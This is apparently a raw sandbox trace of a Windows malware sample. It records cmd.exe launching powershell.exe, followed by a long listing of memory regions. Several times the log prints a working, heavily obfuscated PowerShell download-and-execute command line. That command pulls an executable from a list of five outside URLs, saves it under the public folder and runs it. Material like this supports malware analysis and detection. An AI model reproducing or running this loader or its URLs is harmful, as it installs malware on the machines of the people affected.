[0019.854] UpdateProcThreadAttribute (in: lpAttributeList=0x24e838, dwFlags=0x0, Attribute=0x60001, lpValue=0x24e7e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24e838, lpPreviousValue=0x0) returned 1 [0019.854] GetStartupInfoW (in: lpStartupInfo=0x24e950 | out: lpStartupInfo=0x24e950*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\CmD.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0019.854] lstrcmpW (lpString1="\\powershell.exe", lpString2="\\XCOPY.EXE") returned -1 [0019.856] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="powershell \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://www.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp://uxp+uxpwwwuxp+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'p-content/themes-suVnL+VnLspeVnL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp//uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uxpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnL,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxp+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adFile(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpInuxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.Euxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CREpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLIC[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHAR]36) ) ').repLacE('ctV','$').repLacE('VnL',[String][char]39) ) ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x24e870*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="powershell \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://www.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp://uxp+uxpwwwuxp+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'p-content/themes-suVnL+VnLspeVnL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp//uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uxpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnL,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxp+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adFile(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpInuxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.Euxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CREpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLIC[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHAR]36) ) ').repLacE('ctV','$').repLacE('VnL',[String][char]39) ) ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24e820 | out: lpCommandLine="powershell \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://www.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp://uxp+uxpwwwuxp+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'p-content/themes-suVnL+VnLspeVnL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp//uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uxpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnL,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxp+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adFile(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpInuxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.Euxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CREpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLIC[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHAR]36) ) ').repLacE('ctV','$').repLacE('VnL',[String][char]39) ) ", lpProcessInformation=0x24e820*(hProcess=0x54, hThread=0x50, dwProcessId=0xaec, dwThreadId=0xaf0)) returned 1 [0019.875] CloseHandle (hObject=0x50) returned 1 [0019.875] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0019.875] GetEnvironmentStringsW () returned 0x291750* [0019.875] FreeEnvironmentStringsW (penv=0x291750) returned 1 [0019.875] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0029.935] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x24e768 | out: lpExitCode=0x24e768*=0x0) returned 1 [0029.935] CloseHandle (hObject=0x54) returned 1 [0029.935] _vsnwprintf (in: _Buffer=0x24e9d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x24e778 | out: _Buffer="00000000") returned 8 [0029.935] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0029.935] GetEnvironmentStringsW () returned 0x296030* [0029.935] FreeEnvironmentStringsW (penv=0x296030) returned 1 [0029.935] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0029.935] GetEnvironmentStringsW () returned 0x296030* [0029.935] FreeEnvironmentStringsW (penv=0x296030) returned 1 [0029.935] DeleteProcThreadAttributeList (in: lpAttributeList=0x24e838 | out: lpAttributeList=0x24e838) [0029.935] _get_osfhandle (_FileHandle=1) returned 0x7 [0029.935] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0029.936] _get_osfhandle (_FileHandle=1) returned 0x7 [0029.936] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 1 [0029.936] _get_osfhandle (_FileHandle=0) returned 0x3 [0029.936] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 1 [0029.936] SetConsoleInputExeNameW () returned 0x1 [0029.936] GetConsoleOutputCP () returned 0x1b5 [0029.936] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0029.936] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0029.936] exit (_Code=0) Process: id = "3" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x4e6d5000" os_pid = "0xaec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xad0" cmd_line = "powershell \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://www.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp://uxp+uxpwwwuxp+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'p-content/themes-suVnL+VnLspeVnL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp//uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uxpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnL,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxp+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adFile(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpInuxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.Euxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CREpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLIC[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHAR]36) ) ').repLacE('ctV','$').repLacE('VnL',[String][char]39) ) " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 833 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 834 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 835 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 836 start_va = 0x50000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 837 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 838 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 839 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 840 start_va = 0x13f7a0000 end_va = 0x13f816fff entry_point = 0x13f7a0000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe") Region: id = 841 start_va = 0x7feff3b0000 end_va = 0x7feff3b0fff entry_point = 0x7feff3b0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 842 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 843 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 844 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 845 start_va = 0x220000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 846 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x76f85ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 847 start_va = 0x7fefd320000 end_va = 0x7fefd38afff entry_point = 0x7fefd3230e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 848 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 849 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 850 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 851 start_va = 0x320000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 852 start_va = 0x450000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 853 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x76e8a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 854 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 855 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 856 start_va = 0x7fef1100000 end_va = 0x7fef116efff entry_point = 0x7fef1101134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 857 start_va = 0x7fefad00000 end_va = 0x7fefad18fff entry_point = 0x7fefad00000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 858 start_va = 0x7fefd3b0000 end_va = 0x7fefd48afff entry_point = 0x7fefd3d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 859 start_va = 0x7fefd490000 end_va = 0x7fefd49dfff entry_point = 0x7fefd491080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 860 start_va = 0x7fefd4a0000 end_va = 0x7fefd568fff entry_point = 0x7fefd51a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 861 start_va = 0x7fefe330000 end_va = 0x7fefe396fff entry_point = 0x7fefe33b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 862 start_va = 0x7fefe810000 end_va = 0x7fefea12fff entry_point = 0x7fefe833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 863 start_va = 0x7fefed80000 end_va = 0x7fefedf0fff entry_point = 0x7fefed91e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 864 start_va = 0x7fefef80000 end_va = 0x7feff01efff entry_point = 0x7fefef825a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 865 start_va = 0x7feff020000 end_va = 0x7feff03efff entry_point = 0x7feff0260e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 866 start_va = 0x7feff090000 end_va = 0x7feff1bcfff entry_point = 0x7feff0ded50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 867 start_va = 0x7feff1c0000 end_va = 0x7feff296fff entry_point = 0x7feff1c3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 868 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 869 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 870 start_va = 0x160000 end_va = 0x162fff entry_point = 0x160000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 871 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 872 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 873 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 874 start_va = 0x5f0000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 875 start_va = 0x780000 end_va = 0x1b7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 876 start_va = 0x1c50000 end_va = 0x1c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 877 start_va = 0x1c60000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 878 start_va = 0x1ec0000 end_va = 0x1f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 879 start_va = 0x7fefced0000 end_va = 0x7fefcedefff entry_point = 0x7fefced1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 880 start_va = 0x7fefe300000 end_va = 0x7fefe32dfff entry_point = 0x7fefe301010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 881 start_va = 0x7fefebf0000 end_va = 0x7fefecf8fff entry_point = 0x7fefebf1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 882 start_va = 0x7fefb930000 end_va = 0x7fefb985fff entry_point = 0x7fefb93bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 883 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 884 start_va = 0x1d60000 end_va = 0x1e3efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d60000" filename = "" Region: id = 885 start_va = 0x2070000 end_va = 0x20effff entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 886 start_va = 0x7fefeb50000 end_va = 0x7fefebe8fff entry_point = 0x7fefeb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 887 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 888 start_va = 0x7fefd570000 end_va = 0x7fefe2f7fff entry_point = 0x7fefd5ecebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 889 start_va = 0x7fefc380000 end_va = 0x7fefc39dfff 